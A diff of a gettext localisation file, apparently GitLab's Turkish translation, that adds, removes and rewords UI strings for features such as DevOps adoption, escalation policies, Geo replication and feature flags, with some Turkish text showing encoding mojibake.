+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr "Oluşturulan dosyayı görüntüle"
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Bir daha gösterme"
msgid "Done"
msgstr "Tamamlandı"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Ä°ndir"
@@ -11923,9 +11728,6 @@ msgstr "Sorunları düzenle"
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "Genel dağıtım anahtarını düzenle"
@@ -11959,9 +11761,6 @@ msgstr "%{timeago} düzenlendi"
msgid "Editing"
msgstr "Düzenleme"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr "Görünen e-posta adı"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr "Bakım modunu etkinleştir"
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr "İki aşamalı doğrulamayı etkinleştir"
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr "Tahmini"
@@ -13156,9 +12991,6 @@ msgstr "Vikiye göre filtrele"
msgid "Events"
msgstr "Etkinlikler"
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr "Deneyimli"
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "Sınıflandırma etiketi"
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Özellik Bayrakları"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (Tüm Ortamlar)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (Tüm ortamlar)"
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr "Özellik bayraklarını kullanmaya başlayın"
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr "Kaldır"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr "Durum"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr "Hedef ortamlar"
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr "Dosya silindi"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr "Dosya adı"
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr "Dönüm noktası adına göre filtrele"
msgid "Filter by name"
msgstr "İsme göre filtrele"
-msgid "Filter by status"
-msgstr "Duruma göre filtrele"
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr "Daha fazla bilgi için şu adrese gidin: "
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr "CoÄŸrafi"
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr "CoÄŸrafi Ayarlar"
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr "%{timeAgoStr} (%{pendingEvents} olay)"
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "Düğüm başarısız veya bozuk."
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "Düğüm yavaş, aşırı yüklü veya bir kesintiden sonra kurtarıldı."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Veri çoğaltma gecikmesi"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "Birincil depolama yapılandırmasıyla eşleşmiyor"
-
-msgid "GeoNodes|Full"
-msgstr "Dolu"
-
-msgid "GeoNodes|GitLab version"
-msgstr "GitLab sürümü"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "GitLab sürümü birincil düğüm sürümü ile uyuşmuyor"
-
-msgid "GeoNodes|Health status"
-msgstr "Sağlık durumu"
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr "Düğümler yükleniyor"
-
-msgid "GeoNodes|New node"
-msgstr "Yeni düğüm"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr "%{timeAgo} düğümün durumu güncellendi."
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr "Senkronizasyon ayarları"
-
-msgid "GeoNodes|Unused slots"
-msgstr "Kullanılmayan yuvalar"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr "%{timeAgo} güncellendi"
-
-msgid "GeoNodes|Used slots"
-msgstr "Kullanılan yuvalar"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "Duruma göre filtrele"
@@ -14845,9 +14500,6 @@ msgstr "Senkronizasyon bekliyor"
msgid "Geo|Pending verification"
msgstr "DoÄŸrulama bekliyor"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr "Yeniden senkronize et"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr "Yeniden doÄŸrula"
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr "Parçacıklarınıza gidin"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr "Google Cloud Platformu"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr "Çizelge"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "Grup Git LFS durumu:"
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Grup profil resmi"
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "Gruba genel bakış"
-
msgid "Group overview content"
msgstr "Gruba genel bakış içeriği"
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr "Grup başarıyla güncellendi."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,15 +15793,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Gruplar"
msgid "Groups (%{count})"
msgstr ""
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr "Yükü gizle"
msgid "Hide shared projects"
msgstr "Paylaşılan projeleri gizle"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "DeÄŸeri gizle"
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr "Projeden içe aktar"
msgid "Import project members"
msgstr "Proje üyelerini içe aktar"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Bitbucket'ten projeleri içe aktar"
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr "Yayınlanmamış"
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "Öneri ekle"
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr "Tüm ayrıntılar"
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr "Geçersiz giriş ya da şifre"
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "Geçersiz pin kodu"
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr "Yinelemeler"
